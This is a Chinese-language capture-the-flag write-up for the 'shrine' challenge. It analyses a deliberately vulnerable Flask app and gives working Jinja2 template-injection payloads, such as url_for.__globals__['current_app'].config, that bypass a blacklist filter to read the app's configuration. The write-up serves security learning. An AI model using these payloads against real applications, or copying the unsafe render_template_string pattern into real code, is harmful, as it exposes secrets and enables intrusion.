【攻防世界】shrine
题目考点
模板注入
Writeup
进入题目,发现一串python代码

稍加整理,可以发现这是python中的flask框架,有可能存在ssti漏洞模块注入,代码中两次提到了路径"/"与路径"/shrine",对于这两个路径尝试进行SSTI注入
import flask import os app = flask.Flask(__name__) #创立实例 app.config['FLAG'] = os.environ.pop('FLAG') #以键值对的方式,保存app的信息 @app.route('/') #@表示装饰器,本质是扩展原本函数功能的一种函数,app.route('URL')在程序运行时,装饰一个视图函数,用给定的URL规则和选项注册它 def index(): return open(__file__).read() #打开文件读取 @app.route('/shrine/') #在程序运行时注册一个/sharine/的路经 def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') #替换(与为空,替换)为空 blacklist = ['config', 'self'] #黑名单config与self return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__': app.run(debug=True)
在shrine路径下测试ssti能正常执行

接着分析源码,第一段注册了一个名为FLAG的config,猜测这就是flag,如果没有过滤可以直接{{config}}即可查看所有app.config内容,但是这题设了黑名单[‘config’,‘self’] 并且在第二段过滤了括号
app.config['FLAG'] = os.environ.pop('FLAG')
s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self']
然后下面的代码将黑名单中的值遍历,并替代为空
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
这样使本来可以直接出答案的payload——/shrine/{{config}}——变成了空

不过python还有一些内置函数,比如url_for和get_flashed_messages
/shrine/{{url_for.__globals__}}

看到current_app意思应该是当前app,那我们就当前app下的config:
/shrine/{{url_for.__globals__['current_app'].config}}
拿到flag


浙公网安备 33010602011771号